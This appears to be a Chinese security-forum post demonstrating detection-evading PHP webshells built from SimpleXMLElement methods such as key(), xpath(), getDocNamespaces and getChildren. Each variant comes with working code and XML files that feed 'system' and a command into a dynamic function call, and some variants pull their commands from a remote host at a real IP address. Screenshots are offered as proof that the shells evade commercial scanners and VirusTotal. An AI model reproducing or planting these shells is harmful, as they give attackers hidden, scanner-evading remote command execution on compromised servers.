奇安信攻防社区-基于SimpleXMLElement class的免杀webshell

基于SimpleXMLElement class的免杀webshell

基于SimpleXMLElement class的免杀webshell
===================================

前言
--

闲着没事就去翻阅一下php手册，没有想到真翻到了一个

而且构造方法还是很多的，长亭和微步都测试通过了

SimpleXMLElement
----------------

我们看看php手册

Represents an element in an XML document.

`SimpleXMLElement` 是 PHP 中的一个类，用于处理 XML 数据。它提供了简单、方便的方式来解析 XML 文件和字符串，并可以轻松地访问和操作 XML 元素、属性、文本和注释。

就是解析xml内容的嘛

下面是我构造的几种webshell案例

### key()&amp;xpath()

简单介绍一下函数的用法

**key()**

SimpleXMLElement::key — Return current key

Prior to PHP 8.0, **SimpleXMLElement::key()** was only declared on the subclass [SimpleXMLIterator](https://www.php.net/manual/zh/class.simplexmliterator.php).

可以看到只在8版本才能使用

官方案例

```php
<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');

echo var_dump($xmlElement->key());
$xmlElement->rewind(); // rewind to the first element
echo var_dump($xmlElement->key());

?>
```

```php
bool(false)
string(4) "book"
```

**xpath()**

SimpleXMLElement::xpath — Runs XPath query on XML data

官方案例

```php
<?php
$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <d>
  <c>code</c>
 </d>
</a>
XML;

$xml = new SimpleXMLElement($string);

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
    echo '/a/b/c: ',$node,"\n";
}

/* Relative paths also work... */
$result = $xml->xpath('b/c');

foreach ($result as $node) {
    echo 'b/c: ',$node,"\n";
}
?>
```

```php
/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff
```

就是根据我们的元素路径去获取value

所以使用以上思路可以构造出的webshell

**webshell**

```php
<?php
$xmlData=file_get_contents("http://ip/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString())

?>
```

xml文件

```php
<books>
    <system>whoami</system>
</books>
```

**长亭**

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240914004348444.png "null")

**virustotal**

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240914004615159.png "null")

### getDocNamespaces

还是老规矩看看官方的文档

SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document

(PHP 5 &gt;= 5.1.2, PHP 7, PHP 8)

这个版本就比较宽泛了

官方使用案例

```php
<?php$xml = <<<XML<?xml version="1.0" standalone="yes"?><people xmlns:p="http://example.org/ns">    <p:person id="1">John Doe</p:person>    <p:person id="2">Susie Q. Public</p:person></people>XML; $sxe = new SimpleXMLElement($xml);$namespaces = $sxe->getDocNamespaces();var_dump($namespaces);?>
```

```php
array(1) {
   ["p"]=>
   string(21) "http://example.org/ns"
}
```

按照我们的思路，只需要控制恶意xml文件内容就好了

**webshell**

```php
<?php
$xmlData=file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getDocNamespaces(TRUE);
var_dump($namespaces);
$namespaces["t"]($namespaces["p"]);
?>
```

xml文件

```php
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="whoami" xmlns:t="system">
    <p:person t:id="1">John Doe</p:person>
    <p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
        <books>
            <book>
                PHP basics
            </book>
        </books>
    </p:person>
</people>
```

长亭

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240913223938688.png "null")

微步

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240913223757151.png "null")

其实使用getNamespaces方法还是可以

```php
<?php
$xmlData=file_get_contents("http://49.232.222.195/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString())

?>
```

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240914004926576.png "null")

### **利用getChildren方法**

SimpleXMLElement::getChildren — Returns the sub-elements of the current element

可以看到只能在8版本才能使用

Prior to PHP 8.0, **SimpleXMLElement::getChildren()** was only declared on the subclass [SimpleXMLIterator](https://www.php.net/manual/zh/class.simplexmliterator.php).

官方的例子

```php
<?php$xml = <<<XML<books>    <book>        <title>PHP Basics</title>        <author>Jim Smith</author>    </book>    <book>XML basics</book></books>XML;$xmlElement = new SimpleXMLElement($xml);for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {    foreach($xmlElement->getChildren() as $name => $data) {    echo "The $name is '$data' from the class " . get_class($data) . "\n";    }}?>
```

以上示例会输出：

```php
The title is 'PHP Basics' from the class SimpleXMLElement
The author is 'Jim Smith' from the class SimpleXMLElement
```

按照这个思路，我们只需要把元素循环为key=》value

**webshell**

```php
<?php
$xmlData=file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
    foreach($xmlElement->getChildren() as $name => $data) {
        $name($data);
    }
}
?>
```

xml

```php
<books>
    <book>
        <system>whoami</system>
    </book>
</books>
```

长亭

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240913223742880.png "null")

virustotal

![](https://gitee.com/nn0nkey/picture/raw/master/img/image-20240914005108123.png "null")

发表于 2025-03-18 09:33:27
阅读 ( 2432 )
分类：漏洞分析

基于SimpleXMLElement class的免杀webshell

0 条评论